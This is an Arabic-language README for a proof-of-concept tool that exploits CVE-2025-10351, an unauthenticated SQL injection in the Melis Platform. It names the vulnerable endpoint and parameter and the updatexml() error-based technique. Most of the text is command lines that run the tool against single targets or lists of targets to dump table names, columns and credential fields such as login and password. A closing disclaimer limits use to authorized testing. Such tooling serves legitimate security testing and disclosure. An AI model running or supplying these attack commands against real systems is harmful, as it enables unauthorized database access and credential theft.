CVE-2025-10351 POC - استغلال حقن SQL 💉

POC لـ CVE-2025-10351: ثغرة حقن SQL غير مصادق عليها تؤثر على نقطة نهاية محددة في إطار عمل Melis Platform.

🔗 المراجع

• 📄 CVE-2025-10351 على MITRE
• 📄 تحذير منصة Melis على INCIBE (المعهد الإسباني للأمن السيبراني)

🚀 الوصف

يستهدف هذا POC ثغرة حقن SQL غير مصادق عليها قائمة على الأخطاء (error-based) في نقطة النهاية:

melis/MelisCms/PageEdition/getTinyTemplates?idPage=

يستغل updatexml() في MySQL لاستخراج:

• أسماء الجداول
• أسماء الأعمدة
• البيانات من أعمدة محددة أو جميع الأعمدة

كما يكتشف ناقلات حقن SQL المستند إلى الوقت (time-based SQLi) المحتملة لاستغلال يدوي إضافي.

🛠️ المتطلبات

ثبّت التبعيات باستخدام:

pip3 install -r requirements.txt

🧪 الاستخدام

فحص أساسي

python3 CVE-2025-10351-POC.py -u http://target.com -p 80

من قائمة عناوين URL

python3 CVE-2025-10351-POC.py -l targets.txt

استخراج جميع أسماء الجداول

python3 CVE-2025-10351-POC.py -u http://target.com -p 80 -at

استخراج جميع أسماء الأعمدة من جدول

python3 CVE-2025-10351-POC.py -u http://target.com -p 80 -t users

استخراج جميع البيانات من جميع الأعمدة

python3 CVE-2025-10351-POC.py -u http://target.com -p 80 -t users -ac

استخراج أعمدة محددة

python3 CVE-2025-10351-POC.py -u http://target.com -p 80 -t users -c user,login,password

استخدام بروكسي مع وضع insecure وملفات تعريف الارتباط ووضع التصحيح

python3 CVE-2025-10351-POC.py -u http://target.com -p 80 -t users -c user,login,password --proxy http://127.0.0.1:8080 --insecure --cookies 2prkpe1h72nd4fhmlum65okc04 --debug

⚙️ الخيارات

📤 المخرجات

• الجداول المستخرجة محفوظة في tables_extracted.txt
• البيانات المستخرجة محفوظة في <table_name>_data.txt

⚠️ إخلاء مسؤولية

هذا المستند مخصص لاختبار الأمان والتصحيح المصرح بهما فقط. لا تستخدم هذا الـ PoC أو خطوات إعادة الإنتاج ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها. المؤلف غير مسؤول عن سوء الاستخدام.

صُنع بـ ❤️ بواسطة Manuel Iván San Martín Castillo